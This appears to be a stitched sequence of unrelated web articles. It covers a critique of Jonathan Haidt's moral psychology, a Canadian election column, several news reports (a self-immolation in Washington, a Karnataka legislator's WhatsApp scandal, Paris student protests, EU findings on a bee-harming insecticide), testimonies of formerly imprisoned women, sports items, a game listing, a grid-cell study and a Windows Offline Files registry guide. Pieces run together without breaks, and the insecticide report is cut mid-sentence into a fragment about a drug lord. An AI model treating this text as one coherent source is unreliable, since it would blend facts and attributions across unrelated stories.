Haidt offers us a choice between “contractual” and “beehive” approaches to morality—the first is said to be the province of liberals like myself, who care only about harm/care and fairness/reciprocity; the second represents the social order imposed by conservative religion, which incorporates further concerns about ingroup/loyalty, authority/respect, and purity/sanctity. The opposition between these two conceptions of the good life may be useful to talk about, and the data Haidt presents about the differences between liberals and conservatives is interesting, but is his interpretive scheme correct? I have my doubts. It seems possible, for instance, that these five foundations of morality are simply facets of a more general concern for harm/care.
What, after all, is the problem with desecrating a copy of the Qur’an or taking the Lord’s name in vain? Well, if a person really believes that the Qur’an is a sacred text or that God is listening, he almost surely believes that some harm could come to him or to his tribe as a result of these actions—if not in this world, then in the next. Examples of this sort of thinking should come so readily to the reader’s mind as to make any examples I provide superfluous (AIDS as a punishment for the sin of homosexuality? The Asian tsunami as repayment for idolatry? September 11th as the result of too little faith and too much tolerance for abortion and gay shenanigans?). A more esoteric reading might be that any person who blasphemes or desecrates will have harmed himself directly thereby: a lack of reverence might be its own punishment, dimming the eyes of faith. Whatever interpretation we favor, sacredness and authority have collapsed to the harm/care axis just the same. Perhaps Haidt’s thinking on this subject has been powerfully distorted by his own atheism, as he seems incapable of seeing the world as the faithful see it. We might well wonder, at this juncture, just which of us atheists are in danger of “misunderstanding religion.” At least Dennett, Dawkins, and I have made some attempt to understand what it might be like to actually believe what people of faith say they believe.
The same point can be made in the other direction: even a liberal like myself, enamored as I am of my two-footed morality, can readily see that my version of the good life must be safeguarded from the aggressive tribalism of others. When I search my heart, I discover that I want to keep the barbarians beyond the city walls as much as my conservative neighbors do, and I recognize that sacrifices of my own freedom may be warranted for this purpose. I even expect that conservative epiphanies of this sort could well multiply in the coming years—just imagine how we liberals will be disposed to think about Islam after an incident of nuclear terrorism. Liberal hankering for happiness and freedom might one day yield some very strident calls for stricter laws and tribal loyalty. Will this mean that liberals have become religious conservatives pining for the beehive? Or is the liberal notion of reducing harm flexible enough to encompass the need for order and differences between in-group and out-group?
Even if we accept Haidt’s “new synthesis” without caveat, we can ask whether any given culture is raising its children to have “bad” moral intuitions and to be incapable of the sort of moral reasoning that might lead to a more enlightened outlook. Are certain conceptions of morality especially good at binding a community together, but incompatible with modernity? What if certain cultures are found to be relying upon moral codes that look terrible no matter how we squint our eyes or jigger Haidt’s five variables and four principles? What if we find a culture that is neither especially sensitive to harm and reciprocity, nor especially cognizant of the sacred, nor especially conducive to human flourishing, nor especially astute in any other way? Would Haidt’s conception of morality allow us to then demand that these benighted people to stop abusing their children? Or would that be unscientific?
Finally, I should mention that Haidt fails to acknowledge the central point of “new atheist” criticism. The point is not that we atheists can prove religion to be the cause of more harm than good (though I think this can be argued, and the balance seems to me to be swinging further toward harm each day). The point is that religion remains the only mode of discourse that encourages grown men and women to pretend to know things they manifestly do not (and cannot) know. If ever there were an attitude at odds with science, this is it. And the faithful are encouraged to keep shouldering this unwieldy burden of falsehood and self-deception by everyone they meet—by their coreligionists, of course, and by people of differing faith, and now, with startling frequency, by scientists who claim to have no faith. Even if Haidt’s reading of the literature on morality were correct, and all this manufactured bewilderment proves to be useful in getting certain people to donate time, money, and blood to their neighbors—so what? Is science now in the business of nurturing useful delusions? Surely we can grow in altruism, and refine our ethical intuitions, and even explore the furthest reaches of human happiness, without lying to ourselves about the nature of the universe. It is time that atheist scientists, above all people on this infatuated planet, acted as if this were so.
Link to ArticleFormer Toronto mayor Rob Ford held Canada’s largest city hostage to his antics for more than a year before the clock finally ran out on his mandate at City Hall. In the face of an ongoing substance abuse scandal, there were still enough voters willing to look the other way or even to vindicate his conduct to make a re-election bid credible.
Stephen Harper's campaign has been most consistent at playing to the lowest common denominator, writes Chantal Hébert. ( JONATHAN HAYWARD / THE CANADIAN PRESS )
Up to a point, it is fitting that Conservative leader Stephen Harper’s campaign finale includes a big weekend rally in the Ford heartland. Disrespect for Canada’s parliamentary and judicial institutions; a casual insouciance towards the rule of law and a stingy approach to accountability have all been defining features of the last Conservative mandate as have major ethical lapses and a high-level attempt to cover some of them up. The voters least likely to question whether the Harper government’s moral character warrants its re-election would presumably be those who believed that Ford was still worthy of office.
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As for the many Tories who privately say they will hold their nose to support their party on Monday, the appearance of Doug and Rob Ford on the radar of the Conservative campaign has the merit of ensuring that they will at least vote with their eyes wide open. Harper has had 75 days to send Canadians a signal that a re-elected Conservative government would bring a less corrosive more consensual approach to the running of the federal government and he has used the time to do the opposite. His campaign has been most consistent at playing to the lowest common denominator. He has played wedge politics on some of the most sensitive areas of Canada’s national life. From week to week there has been a steady dumbing down of the Conservative message. Indeed, watching Harper play game show host daily to the ka-ching sound of a cash register this past week it dawned on me that it might be time to rehabilitate former Canadian Alliance leader Stockwell Day.
He took a beating just for flashing a card that said “No 2-tier health care” at the end of the 2000 election debate. At the time the move was roundly denounced as a self-defeating gimmick that reflected poorly on his party. In retrospect, Day should probably be given credit for engaging his audience on the basis of a minimal amount of policy literacy. Appealing to the intelligence of voters was once his successor’s cup of tea but that was before Harper finally secured a majority government four years ago.
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But then, as voters were again reminded this week, majority rule has rarely brought out the best in any party. The day Justin Trudeau set out to ask Canadians to give the Liberals a majority was also the day the news broke that the co-chair of his campaign was dispensing strategic political advice to one of Canada’s major pipeline operators. At a time when the party was obsessed with not letting anything get in the way of its pre-election momentum, it still took Trudeau’s campaign 24 hours to move from defending Dan Gagnier’s actions to agreeing that they were inappropriate. That can only beg the question of how long would it have taken for a majority Liberal government to distance itself from one of its insiders? In their last spell in office a decade ago, the Liberals blurred their share of ethical lines. Gagnier’s email was meant to provide TransCanada with post-election insights as to how to best advance its Energy East pipeline project with the next government. He suggested the corporation waste no time getting on the good side of the next finance minister. If the Liberals win on Monday, one might want to check whether Trudeau’s environment minister is up to the task of standing up to his or her finance colleague. On the notion that a Liberal environment minister might carry a stick big enough to be a cabinet player the pipeline industry could not hope to bypass or ignore, Gagnier’s email is silent. Polls suggest that the battle for government on Monday will come down to a fight between Harper and Trudeau. In their dreams, each would like to win a governing majority. The last week of their respective campaigns has given voters no cause to want that dream to come true for either of them next week. Chantal Hébert is a national affairs writer. Her column appears Tuesday, Thursday and Saturday.Story highlights Man spotted on fire near famous museum on National Mall
Passers-by attempted to put out the flames
He's in critical condition
Law enforcement and medical personnel rushed to Washington's National Mall on Friday afternoon to assist a man who reportedly set himself on fire.
The man was taken to a hospital and is in critical condition, said Maj. Patrick Smith with U.S. Park Police.
Officers rushed to scene after receiving a 911 call and found the man engulfed in flames, according to Smith.
Office Hugh Carew, a spokesman for the Metropolitan Police Department, said police will investigate whether the injured man intentionally set himself on fire.
Adam Stifel saw part of the incident while he was jogging.
"I saw a man sitting in flames," Stifel told CNN. "He had already doused himself in gasoline, I believe."
Stifel said five or six people used their shirts to pat out the fire. He said he saw a red gasoline canister near the man.
The incident occurred near the National Air and Space Museum. The man was airlifted out to receive medical care.
No information was available on the man's identity or whether he was part of a protest group.
The location where the man was found on fire is about six blocks from the U.S. Capitol, where a high speed car chase on Thursday ended with a woman being shot and killed by law enforcement officers.News 4's Chris Gordon got reaction from Takoma Park's police chief who was asked to leave an Ikea Store or leave his gun in his car. (Published Monday, July 7, 2014)
Takoma Park Police Chief Alan Goldberg said in 35 years in law enforcement he's never had a store tell him that he would have to leave his service weapon in the car or leave — especially when he was in his police uniform.
But that's what happened July 4 in the Ikea in College Park when Goldberg had stopped in with his daughter.
Goldberg was in uniform because he had worked that morning at the city's July 4 parade, and would be back on duty that night for fireworks.
In between, he stopped at Ikea to shop for furniture for his daughter's new apartment. And that's when a loss-prevention officer at the store approached him.
"He says we have a no firearms policy, and you're either going to have to leave or you can lock your gun in the car," Goldberg said.
The store has signs posted on the front door that read "Weapons Free Environment."
Neither of those options seemed a good one to the officer.
"It isn't the most prudent thing to do to walk around the store in uniform with an empty holster," Goldberg said. "And I am not going to lock my gun in a commercial parking lot, with people watching me put it in there. That's just ludicrous."
The chief demanded to see the store's written policy, but he only got it Monday after News4 contacted Ikea. The retailer released this statement:
We regret that there was a misunderstanding of our weapon policy in our College Park Store. Our weapon policy does not apply to law enforcement officers. We are taking steps to ensure that this is clear for all our co-workers.
Goldberg, who was so angry at the store's response Friday that he posted about it on Facebook, said Monday that response satisfies him.
And it also satisfied shoppers that News4 spoke to at Ikea.
Many shoppers, like Arthur Marshall, said that retailers' no-gun policies should "maybe have an exception for police officers."
It also seems the chief's concerns have made a difference: Monday, at least three armed police officers were seen at the College Park Ikea store at lunchtime.ORCHARD PARK, N.Y. -- Buffalo Bills general manager Doug Whaley stopped short Friday of giving quarterback Tyrod Taylor a vote of confidence that he will remain the team's starter next season.
"No, no, no," Whaley told WGR 550 when asked if any decision had been made about retaining Taylor for 2017. "We've said from Day 1 that we're going to give him this whole season, and after that, we'll sit down with the coaches, the ownership group and make the decision."
Now 26 games into his career as the Bills' starting quarterback, Taylor has posted a 14-12 record but has seen a decline from last season in several key statistics, including completion percentage, yards per pass attempt, touchdowns and passer rating. Overall, the Bills average 181.5 passing yards per game, which ranks 32nd in the NFL.
Tyrod Taylor has posted a 14-12 record as a starter for the Bills. The team must guarantee him $30 million if he remains on their roster past the fourth day of the 2017 league year, which begins in March. John Grieshop/Getty Images
"You got to look at the whole season," Whaley said. "He's got four more games to write this chapter. And then after this season, like everybody on the team, we're going to do the evaluation, and we'll go from there. But this season is one of those things where he's done some things really good to get us to six wins. But just like everybody on the team, there are some plays that he wishes he could do over."
As part of a contract extension signed in August, the Bills must guarantee Taylor $30 million if he remains on their roster past the fourth day of the 2017 league year, which begins in March. His performance this season has raised questions about whether the Bills will keep Taylor as their quarterback next season.
After Taylor went 10-of-26 passing for 89 yards over the final three quarters of the Bills' 38-24 loss Sunday to the Oakland Raiders, the quarterback appeared frustrated as he spoke to reporters at his regular Wednesday news conference. Walking away from the podium after answering questions, Taylor threw down his practice jersey and said, "I'm done talking."
"I've taken everything that y'all have stood up here and asked me, right in the chest," he said during the news conference. "It doesn't affect me emotionally or physically. I take that every week. Whoever y'all want to blame, I'll take that. Like I said, my job is to get the team into a position where we can win Sundays. Can I be better, yes? But it doesn't just take me; it's a collective effort out there on the field, each and every Sunday."
At 6-6, the Bills have an 8 percent chance of making the postseason, according to ESPN's Football Power Index. They host the Pittsburgh Steelers this Sunday before ending their regular season with games against the Cleveland Browns, Miami Dolphins and New York Jets.
Taylor's struggles and the Bills' declining postseason chances have raised speculation that rookie third-stringer Cardale Jones, a fourth-round pick, could see time at quarterback, but Whaley shot down that idea Friday.
"I would not [like to see him play]," Whaley told WGR 550. "That means something terrible happened, and we're not looking for that. What we're looking for is to come out Sunday and get a W against the Steelers."Mahantesh Kavatagimath, legislator from Karnataka posted a folder with porn photos on a WhatsApp group.
Highlights Mahantesh Kavatagimath posted over 50 porn images on a WhatsApp group "Belagavi media force" group includes lawmakers, councillors as members The group administrator finally removed Mr Kavatagimath
A BJP legislator in Karnataka posted over 50 porn images on a WhatsApp group that has several lawmakers, councillors and senior officers as its members. Mahantesh Kavatagimath, a member of the state Legislative Council, has been unavailable for comment after the embarrassing slip.On Tuesday, the group "Belagavi media force", set up for the sharing of news and alerts, was flooded with nude photos of women.The members include police officers right from the chief, MPs, women officers, social activists and even people from the media.Many of the group members, stunned at the barrage of obscene images, quit the group. Others reacted with strong condemnation and disapproval.One group administrator finally removed Mr Kavatagimath.Sharing obscene content on social media platforms like WhatsApp is a criminal offence.The legislator has switched off his mobile phone and is currently incommunicado. In 2012, three state ministers were caught watching pornography in the assembly. A minister was recently asked out after a video showed him seeking sexual favours from a woman inside a local government office.Alice
Being in prison for 17 years was very hard, and not just on me.
It affected me, my children, my mom became sick—I lost many people during these 17 years. I couldn’t attend funerals, graduations, birthdays.
Everyone connected to you is affected by this separation.
Being a woman—being in prison it’s terrible. A woman has needs. Sometimes she can’t get basic necessities, like maxi pads. There’s a limit to how many panties you can have. There’s a limit to everything.
Sometimes the security officers are not too kind to women in prison. You have to be strong. You have to mentally be stable to do this time that they give you.
Any amount of time for a woman in prison is bad, but when you’re a long-termer doing long time prison time it can be really bad for your mental health.
I married the man I was in an abusive relationship with.
For two or three years he stayed in contact with me, he kept the two girls. But my oldest daughter was 10 when I left. He did bring the children to me up to a certain point, but when we started to grow apart, then the visits lessened with my children.
That’s when I started to—I became angry. Sometimes I couldn’t focus in prison because there was no way I could see my children on a regular basis.
My younger daughter is in college, she’s doing awesome. She graduates in May with her bachelor’s.
This will be the very, very, very first graduation that I have attended for her. She was two years old when I left her. My heart is racing just thinking about it. I finally get to be at one of my babies’ graduations.
So much has happened to me and my family in those 17 years that I was away. I kept contact with my daughters. They came to see me. But it was not the same as me being home with my children.
I missed so much of their lives that I wasn’t there for. This has affected my daughters in many ways. When I hear their stories about the things they’ve been through while I was away, I feel like the system failed me and my children.
What sticks out to me about prison that people don’t know? The children born inside the prison system by the officers.
They are there to protect and care for the inmate to make sure they’re healthy and taken care of. They’re not there to abuse the women. To me, that’s abuse. That’s not care and concern. You’re taking advantage of someone who is in need. She may need you to make a phone call to her children so they can come visit and you take advantage of that.
No one knows about it.
I’ve seen babies born there from officers. These are the kinds of things that happen behind the scenes that need to be investigated.
You have to be really, really strong to come out of this alive.
Tanya
There’s no such thing as being good in prison.
It doesn’t matter how smart you are, how hard you fight, how diligent you are. You’re in there, they have control, and they’re going to break you down in any way possible.
I spent time in every women’s correctional facility in the New York area. In each facility, it was a different struggle.
I went to college through the Bard Prison Initiative. It was an escape for me—not just a college, but a college that’s going to treat you just like a student on the campus, not as someone dressed in green.
It was the main thing that kept me human and kept me relevant, just knowing that I’m doing something that could turn out to be beneficial—that I could come out and be somebody.
The passion I feel for injustice and the need for prison reform is just so strong.
Mentoring the youth—they’re so misguided. How easy it is to get caught up and be forced into these environments where you make these friends and these friends will lure you into some shit, and your whole life will change. And some people don’t get the opportunity to come out, because they’re buried in there for 25 years to life.
And nobody will ever really know their story.
Coming home, I realized that my incarceration also had a significant effect on my mother. Despite the fact that I spoke to her often, she wrote and visited me often, she still didn't know me. She responded to me as if I was still 20 years old.
When people hear you’ve been incarcerated, automatically the way they talk to you changes. The way they treat you changes.
I went out to a career day solely for the purpose of getting information for the clients where I work.
As soon as they hear “woman formerly incarcerated,” they say they’re not interested, they can’t hire anyone with a record.
I think prisons should be more public.
Before camera phones came out, it was hard to prove police violence. Imagine a place where there’s no such thing as cameras.
People get raped, they get their arms broken. They get put into isolation to heal before they can talk to anybody.
We need prison reform—it’s better to do alternatives to incarceration, try to get people educated and help them move toward their goals and talents, because everybody’s got something.On the surface, it may seem like the Canucks (a contending team with a window to win that appears to be closing) wouldn’t be a team that benefits from missing any hockey in 2012-13. However, that isn’t the case. Read on to find out why.
Neither the owners nor the players want the outcome of the ongoing CBA negotiations to be a lockout, but both sides are prepared to remain in the sidelines for the first few months of the 2012-13 season.
Back in 2004, there were several players and teams that came out of the lockout refreshed, recharged, and ready. Teemu Selanne is the most obvious example. The Finnish Flash used the year off to completely rehabilitate his wonky knees, and he has been one of the best forwards in the NHL since that time.
Several young players spent the year away from the NHL developing, including Eric Staal and Jason Spezza, who both dominated the AHL. Staal emerged as a superstar after the lockout ended, racking up 100 points 2005-06 and leading Carolina to the Stanley Cup, while Spezza led Ottawa to the Stanley Cup Final just one year later. The elite draft crop from 2003 was given another year of developmental time, as NHL teams weren’t able to rush players from the CHL or Europe to the NHL.
The 2005-06 rookie crop was one of the strongest ever, and several players benefitted from the bonus year of developmental time, including the likes of Alex Ovechkin, Dion Phaneuf, Jeff Carter, Ryan Getzlaf, Mike Richards, and Zach Parise.
This time around, there are several young players who will either stay in Major Junior or Europe or go down to the AHL if the start of the season is delayed. In general, the younger teams like Edmonton and Long Island stand to benefit, while the contending teams like Boston, Detroit, and San Jose stand to lose out. However, it isn’t that simple.
The two best players on the Canucks are on the other side of 30. Daniel and Henrik turn 32 this fall, and the odds are we have seen the best from them. A season completely wiped out would hurt the Canucks, there is no arguing that. It would take a prime year away from one of the best teams in the league (and it would also burn the final year off of Chris Tanev’s rookie deal). However, if the season were to start in November or December, the Canucks stand to benefit, for a few reasons.
1) Solve the goaltending dilemma
The additional couple of months of no hockey would allow the Canucks more time to work up a trade for Roberto Luongo. Conversely, if the new CBA comes with an amnesty clause or a lower salary cap, the Luongo trade market would change radically.
However, all else being equal, a few more months gives GM Mike Gillis more time to extract what he wants (Nick Bjugstad) from the team(s) who want Luongo (Florida, Toronto, and I wouldn’t count out Chicago).
2) Let Kesler rest
This offseason was the second consecutive one that Kesler went under the knife for a serious procedure. Last summer he had a torn labrum in his hip fixed, and this summer it was a torn labrum in his shoulder. Kesler likely came back too early from his first operation, and he wasn’t his usual dominant self in 2011-12. With a delayed season, he wouldn’t be able to come back early, as he is on track to return at some point in November or December right now.
Kesler, it could be argued, is Vancouver’s most important player. He isn’t their best player, but when he is going, everything else seems to fall into place. He scores on the power play, he dominates his even strength matchups, and he gets under the skin of the opposition’s top players. He is one player who you can tell very early into a game if he is "on" or not. He isn’t chirping, he isn’t diving, and he is skating miles up and down the ice. One could argue for a brief few days that Kesler was the best hockey player on the planet (try and find any Nashville fans from last May who would disagree).
Kesler the good:
Kesler the bad:
3) More time to develop
The key for a contending team to remain at the top of the perch is strong player development. Great hockey teams have great players (most of the time, unless Dominik Hasek is in goal), and great players usually earn big money. Having rookies and young players capable of playing a regular shift on an entry level contract is a necessity for teams right up against the salary cap (especially if the salary cap does indeed drop from the $70 million it is currently at).
There are five young Canucks who are pushing for roster spots right now. Zack Kassian is a mortal lock to make the team in some capacity, but he would benefit tremendously from starting the season off at the AHL level in Chicago. Center Jordan Schroeder isn’t far off either. On the back end, the Canucks are expecting both Frankie Corrado and Kevin Connauton to contend for roster spots. Corrado is a physical, two-way defenseman, while Connauton is an offensive defenseman with a booming slap shot.
In goal, Eddie Lack signed a contract that will pay him an average of $750,000 at the NHL level for next two seasons (the first year of the deal is two-way, meaning Lack will earn $85,000 at the AHL level if he plays there). The Canucks would love it if they could plug in three players on the roster all making less than $1 million per season.
A late start to the season would grant Gillis more time to move Luongo, it would give Kesler time to recover fully, and it would give the team an extended look at five young players itching for NHL action.
Here are the first two teams in the series:
Lockout Beneficiary Part I – Long Island
Lockout Beneficiary Part II – PhiladelphiaAbout This Game Regeria Hope is a whimsical courtroom visual novel in the style of an Attorney game with original characters and cases. You play as Regeria, a female lawyer who can use her powers of logic and reason to prove her clients innocent.
It’s not all that straightforward though. Sometimes, you may find compelling reasons for throwing a case, forsaking the very defendant you are sworn to protect. These decisions will affect the outcome of the case and will have a ripple effect on later episodes of the series.
The first trial has you defending a husband whose wife has been poisoned during the wedding reception. Currently you have the ability to prepare your witness, and interrupt other characters while they are speaking, but be careful, as you have a time limit to solve the case!
KEY FEATURES:
5 episodes - Choices made in early episodes affect future cases. Don't like a character? You can throw them under the bus. Just be sure you're ready to watch them hang.
New 'Witness Prep' Gameplay - Prep your witness to say whatever you want. Have them plead for mercy, or make them look like buffoons in front of the court to throw the case faster.
New 'Fact Overload' Gameplay - Connect the facts together to bombard witnesses and force them to confess! You only get one shot though, so make it count!
New 'Investigation' Gameplay - Short investigation sections which will affect the courtroom scenes. Play a board game and move Regeria to where she needs to be in time!
New 'Convince the Jury' Gameplay - Be mindful of all your actions in court! Needlessly interrupting or repeating the same action over and over will change what the jury thinks of you, and you will need to state your case to the jury at the end of each daily court session.
Featuring Music by Zack Parrish!
Featuring Sprite Art by Maesketch
Featuring Background Art by Sendo
Voice Acting by:
Rachael Messer (Regeria)
Marissa Lenti (Artemis)
Dane Doyle (Judge)
Rocky Marks (Pharrell)
DigglyCerides (Hawk)DETROIT - About 4-7 inches of snow are expected to accumulate Sunday in Metro Detroit.
This would be the most significant snowfall of the season, so far, in the region.
View: Weekend forecast temps, snowfall
Here is the forecast from Meteorologist Brand Roux:
A snow storm moves in around midnight into early Sunday and will bring accumulating snow to SE Lower Michigan and Southern Ontario. The early morning round will lay down a quick couple of inches toward sunrise. We will likely see a lull in the action midday, and then more snow develops by late afternoon and evening and round two could bring several more inches. The computer model data has been fairly consistent around Metro Detroit getting 4-7 inches.
If we are on the higher end of predictions and it is heaviest late Sunday into early Monday, we may see some schools with late starts or snow days?
Here is Brandon's weekend snow fall timeline -- click here.
Copyright 2016 by WDIV ClickOnDetroit - All rights reserved.You can watch a full Periscope livestream of the demonstration in the tweet above.
Students in Paris, France, Thursday barricaded the entrances of several high schools around the city in protest against the final two candidates of the French presidential election, centrist Emmanuel Macron and the far-right Marine Le Pen.
The protest called #BlocusNeFnNiMacron or "Blockades Against The National Front And Macron." Protesters told BuzzFeed News that it was organized on Facebook.
At Lycee Voltaire in Paris where protesters have blocked the entrances
BuzzFeed News followed the protest from Lycée Voltaire, a high school in central Paris. From the beginning of the morning there was heavy presence of anti-fascist activists wearing black masks.
Protesters are stopping traffic. Just smashed through the window of a car passing through.
At one point, seen in the video below, students attempted to block traffic and punched through the window of a van attempting to pass.
Students from across the city assembled in Place de la République and then marched through the city. They chanted things like "all the world hates the national front" and "Not Macron, not Marine, not for country, not for boss."
Clashes with riot police started shortly after the students started marching. The first incident of tear gas was deployed after protesters overturned a recycling bin and began throwing bottles at the police.
Protesters proceeded to clash with police for almost two hours as they attempted to make their way to Place de la Bastille.
Storefronts were vandalized and bus stops were sledgehammered. The march was stopped just beyond Place de la Bastille after police used tear gas to break up the crowd, which had grown to several hundred people.
It should be noted that many of the protesters in Thursday's demonstration are not actually old enough to vote.
Several Parisians interviewed by BuzzFeed News who were old enough to have voted in the first round last Sunday said that they were upset at the lack of a clear left-wing, socialist candidate. Many who supported Jean-Luc Mélenchon, the head of the Socialist party, said they did not plan to vote in the second round.
Which is reflective of a larger conversation happening among French voters currently.
Thursday's demonstration was the second large-scale protest that has turned violent since Sunday.The world's most widely used insecticide has for the first time been officially labelled an "unacceptable" danger to bees feeding on flowering crops. Environmental campaigners say the conclusion, by Europe's leading food safety authority, sounds the "death knell" for the insect nerve agent.
The chemical's manufacturer, Bayer, claimed the report, released on Wednesday, did not alter existing risk assessments and warned against "over-interpretation of the precautionary principle".
The report comes just months after the UK government dismissed a fast-growing body of evidence of harm to bees as insufficient to justify banning the chemicals.
Bees and other pollinators are critical to one-third of all food, but two major studies in March 2012, and others since, have implicated neonicotinoid pesticides in the decline in the insects, alongside habitat loss and disease. In April, the European commission demanded a re-examination of the risks posed by the chemicals, including Bayer's widely used imidacloprid and two others.
Scientists at the European Food Safety Authority (EFSA), together with experts from across Europe, concluded on Wednesday that for imidacloprid "only uses on crops not attractive to honeybees were considered acceptable" because of exposure through nectar and pollen. Crops that attract honeybees include oil seed rape, corn and sunflowers. EFSA was asked to consider the acute and chronic effects on bee larvae, bee behaviour and the colony as a whole, and the risks posed by sub-lethal doses. But it found a widespread lack of information in many areas and had stated previously that current "simplistic" regulations contained "major weaknesses".
"This is a major turning point in the battle to save our bees," said Friends of the Earth's Andrew Pendleton: "EFSA have sounded the death knell for one of the chemicals most frequently linked to bee decline and cast serious doubt over the safety of the whole neonicotinoid family. Ministers must wake up to the fact that these chemicals come with an enormous sting in the tail by immediately suspending the use of these pesticides."
Prof David Goulson, at the University of Stirling and who led one of the key 2012 studies, said: "It is very pleasing that EFSA now acknowledge there are significant environmental risks associated with these chemicals. It begs the question of what was going on when these chemicals were first approved. Rachel Carson's Silent Spring was 50 years ago but we have not learned the lessons."
However, Bayer's Julian Little told the Guardian: "We do not believe the new EFSA reports alter the quality and validity of [existing] risk assessments and the underlying studies. [But] the company is ready to work with the European commission and member states to address the perceived data gaps. We believe it is very |
amount of violence and bloodshed along the way. He escaped from a Mexican prison in a laundry cart in 2001, days before his extradition to the United States (the American government is offering a $5 million reward for his arrest). He went on to lead a bloody drug war that has caused the deaths of 14,000 people since President Felipe Calderon took office in 2006. This year alone, more than 2,000 people have been killed in Ciudad Juarez, which is where Guzman's gang is battling the Juarez cartel.
"Of course he's influential, rich and powerful, but he has cost so many lives, so many youths," said Gabriela Lopez, a 25-year-old businesswoman in Culiacan, the capital of Sinaloa. "I wish they would make a list pointing out that as well."
"I think he's an almost iconic figure in the underworld," said Don Thornhill, a U.S. Drug Enforcement Administration agent who tracked Guzman and other Mexican drug lords during his 25-year career before retiring in 2007. "He's certainly taken on legendary status because of his jail break. I think he's pretty savvy at making the right contacts, knowing the right people to pay off, which is why he has managed to keep going as long as he has."Grid cells, space-mapping neurons of the entorhinal cortex of rodents, could also work for hyperbolic surfaces. A SISSA study just published in Interface, the journal of the Royal Society, tests a model (a computer simulation) based on mathematical principles, that explains how maps emerge in the brain and shows how these maps adapt to the environment in which the individual develops.
"It took human culture millennia to arrive at a mathematical formulation of non-Euclidean spaces", comments SISSA neuroscientist Alessandro Treves, "but it's very likely that our brains could get there long before. In fact, it's likely that the brain of rodents gets there very naturally every day".
Treves coordinated a study just published in the journal Interface. Euclidean geometry is the kind of geometry we normally study at school, whereas non-Euclidean geometries are all those that reject one or more of Euclid's five postulates. A geometry that unfolds on a curved surface is an example. Recent research has investigated how the brain encodes flat spaces. In 2005, Edvard and May-Britt Moser discovered grid cells, neurons of the entorhinal cortex of rodents that fire in a characteristic way when the animal moves in an arena. The discovery has recently been awarded the Nobel Prize, but all experiments conducted to date have involved flat (Euclidean) surfaces. So what happens with other types of surface?
The starting point is the formation of these brain "maps". "There are two main classes of theoretical models that attempt to explain it, but both of them assume that our brain contains some kind of "engineer" that has prepared things appropriately" says Treves. "These models take for granted that the system originates with substantial prior knowledge, and they closely reproduce the behaviour of the biological system under known conditions, since they are constructed precisely on its observation. But what happens in conditions that have yet to be explored experimentally? Are these models able to 'generalize', that is, to make a genuine prediction to be then confirmed by other experiments? A correct theory should tell us more than what we already know".
Treves and colleagues have been developing a new, radically different model since 2005, and in their recent paper they have indeed attempted a broad generalization. "Ours is a self-organizing model, which simulates the behaviour of 'artificial' grid cells capable of learning by exploring the environment".
More in detail
The model is based on mathematical rules and its final characteristics are determined by the environment in which it "learns from experience". In previous studies, the model was tested on flat surfaces: "in these settings our artificial grid cell shows the same hexagonal symmetrical firing pattern seen in biological cells".
"To apply it to a new situation, we thought of having our model move in a non-Euclidean space, and we chose the simplest setting: a space with a constant curvature, in other words a sphere or pseudosphere". The recently published study shows the results achieved with the pseudospherical surface, which demonstrate that in this case the firing pattern has a heptagonal, seven-point, symmetry. This finding can now easily be compared with the firing of real grid cells, in rodents raised on a pseudospherical surface. "We're waiting for the experimental results of our Nobel Prize-winning colleagues from Trondheim" explains Treves. "If our results are confirmed, then new theoretical considerations will ensue that will open up new lines of research".
In addition to demonstrating that maps adapt to the environment in which the individual develops (and so are not genetically predetermined), the observation of a heptagonal symmetry in new experimental conditions - which would show that the brain is able to encode a non-Euclidean space - would also suggest that grid cells might play a role in mapping many other types of space, "including abstract spaces", adds Treves. "Try to imagine what we might define as the space of movements, or the space of the different expressions of the human face, or shapes of a specific object, like a car: these are continuous spaces that could be mapped by cells that are not the same but are similar to grid cells, cells that could somehow represent the graph paper on which to measure these spaces".
Explore further: Why grid-cell lattices are hexagonal
More information: Can rodents conceive hyperbolic spaces? rsif.royalsocietypublishing.or ….1098/rsif.2014.1214If you’ve ever had any experience implementing Offline Files for Windows laptops, you’re no doubt aware that users are required to manually resolve synchronisation conflicts. Well that’s the impression I’ve always been under until recently – there’s no documentation on TechNet on how to automatically resolve conflicts and certainly no Group Policy controls available either.
Why do we need an Automatic Resolution Policy?
Consider this example – I want to store the User Data Directory for the App-V client on the network (e.g. the users’ home drive) instead of the default location of AppData. This will allow me to deliver application settings between different desktop types (such as a physical desktop and a XenApp server), without having to implement roaming profiles.
Laptops will need to cache the network location so that users can access their applications when disconnected from the network. So I configure Offline Files (via Group Policy) to cache the network folder that hosts the User Data Directory.
The problem with this approach is that when the laptop synchronises the folder, the user may need to resolve file conflicts and is presented with a dialog box that looks something like this:
Most users are not going to know which option they should choose (and they certainly aren’t going to read the help). How many will know what the UsrVol_sftfs_v.tmp file is? I’d like to avoid this scenario as often as I can.
The feature does exist!
Last week I came across a knowledgebase article that Microsoft recently updated – Automatic resolution policy for an offline file synchronization conflict does not work if the “keep all changes” setting is enabled in Windows Vista or in Windows Server 2008. It appears that an automatic resolution policy does exist even though there’s no documentation on this feature, beyond one page on MSDN on the OFFLINEFILES_SYNC_CONFLICT_RESOLVE enumerator in the Offline Files API.
Configuring an Automatic Resolution Policy
An automatic resolution policy for Offline Files is implemented by adding a registry value for each network share for which you wish to control synchronisation, then specifying the policy for automatic resolution.
Click Start, type regedit in the Start Search box, and then press ENTER Locate and then click the following registry subkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\NetCache On the Edit menu, point to New, and then click Key. Type SyncConflictHandling, and then press ENTER Right-click SyncConflictHandling, point to New, and then click Expandable String Value. Type the path of the network share as the value name (for example \\servername\share) Right-click the value name, and then click Modify. In the Value data box, enter a value listed in the table below, and then click OK
The possible values for SyncConflictHandling and a description of each value is listed is this table:
Value Description 0 No resolution. The conflict is unresolved. This allows the conflict to be processed by other handlers in the system. 1 Keep the local state. This overwrites the remote copy with the local copy's contents. If the local copy was deleted, this deletes the remote copy on the server. 2 Keep the remote state. This overwrites the local copy with the remote copy's contents. If the remote copy was deleted, this deletes the local copy in the Offline Files cache. 3 Keeps both copies. Note that this resolution is valid only for sync conflict states where both the server and client copies exist and where at least one of the items is a file. This resolution type is not available when one of the items has been deleted or both items are directories. 4 Retains the state of the latest operation as determined by last-change times of the items in conflict. If the local item was deleted, the time of deletion is used for comparison. 5 Write an entry to the sync conflict log and perform no further attempts at resolving the conflict. The interactive user will resolve the conflict through Sync Center at a later time. 6 Do not resolve the conflict. Do not record an entry in the sync conflict log 7 Cancel the synchronization operation
When added to the Registry, it will look something like this:
